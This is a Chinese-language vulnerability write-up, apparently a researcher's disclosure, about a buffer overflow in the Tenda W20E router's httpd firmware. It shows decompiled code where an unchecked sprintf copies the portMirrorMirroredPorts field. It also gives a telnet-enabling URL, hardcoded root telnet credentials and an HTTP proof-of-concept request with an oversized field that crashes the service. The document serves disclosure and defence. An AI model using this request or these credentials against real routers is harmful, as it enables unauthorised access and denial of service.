

# Tenda W20E 缓冲区溢出漏洞

## Overview

- 厂商官网: <https://www.tenda.com.cn/>
- 固件下载地址: <https://www.tenda.com.cn/product/download/W20E.html>

## Vulnerability information

tenda W20E V16.01.0.6(3392)中存在缓冲区溢出漏洞, 可导致httpd崩溃并重启。

## Affected version

W20EV5.0升级软件 V16.01.0.6(3392)	📄
W20EV5.0 升级软件 V16.01.0.5(2867)	📄
W20EV5.0升级软件 V16.01.0.3(1434)	📄
W20EV5.0说明书	📄
W20EV5.0安装指南	📄
W20EV5.0 高清图片	📄

该图显示了最新的固件:V16.01.0.6(3392)

## Vulnerability details

开启telnet <http://192.168.0.1/goform/telnet>

telnet admin/password is root/ Fireitup

使用ida分析httpd, 在函数formSetPortMirror中, 对应的功能字段是SetPortMirror。

```
moduleRegister("setPortMirror", formSetPortMirror);
```

在函数formSetPortMirror:

```
v5 = get_aer_mirror_port();
mirrorPorts = cJSON_GetInt(fromWebs, "portMirrorLanPort", v5);
pMirroredPorts = (char_t *)cJSON_GetString(fromWebs, "portMirrorMirroredPorts", &unk_50AD58);
if ( pMirroredPorts )
{
    if ( pPortMirrorEn == 1 )
    {
        sprintf(sMibValue, "1;%d;%s", mirrorPorts, pMirroredPorts);
    }
    else
    {
        GetValue("lan.portmirror", sMibValue);
        sscanf(sMibValue, "%d;%d;%s", &MirrorLanPort, sTempValue);
        sprintf(sMibValue, "0;%d;%s", MirrorLanPort, sTempValue);
    }
}
```

该程序将通过portMirrorMirroredPorts参数获得的内容传递给pMirroredPorts。然后，通过sprintf函数将pMirroredPorts的匹配内容格式化为sMibValue。

这里没有大小检查，因此存在通过portMirrorMirroredPorts字段导致缓冲区溢出的漏洞。

相应的网页如下：

< 返回

端口镜像

?

端口镜像：☒

镜像端口：

LAN4

被镜像端口：☒ WAN1 ☐ LAN2 ☐ LAN3

## Vulnerability exploitation condition

登录后需要获取cookie才能执行攻击。

功能数据包如下，我们将使用它来构建poc。

```
POST /goform/module?1668753675738 HTTP/1.1
Host: 192.168.0.1
Content-Length: 95
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Content-Type: application/json
Origin: http://192.168.0.1
Referer: http://192.168.0.1/index.html?v=3392
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: curShow=; bLanguage=cn; sessionId=w20Ev5:0.133.2:f012ed
Connection: close

{"setPortMirror":
{"portMirrorEn":true,"portMirrorLanPort":4,"portMirrorMirroredPorts":"1,0,0a*200"}}
```

## Recurring vulnerabilities and POC

为了重现该漏洞，可以遵循以下步骤：

- 1.连接物理设备
- 2.用POC攻击

poco和攻击结果如下

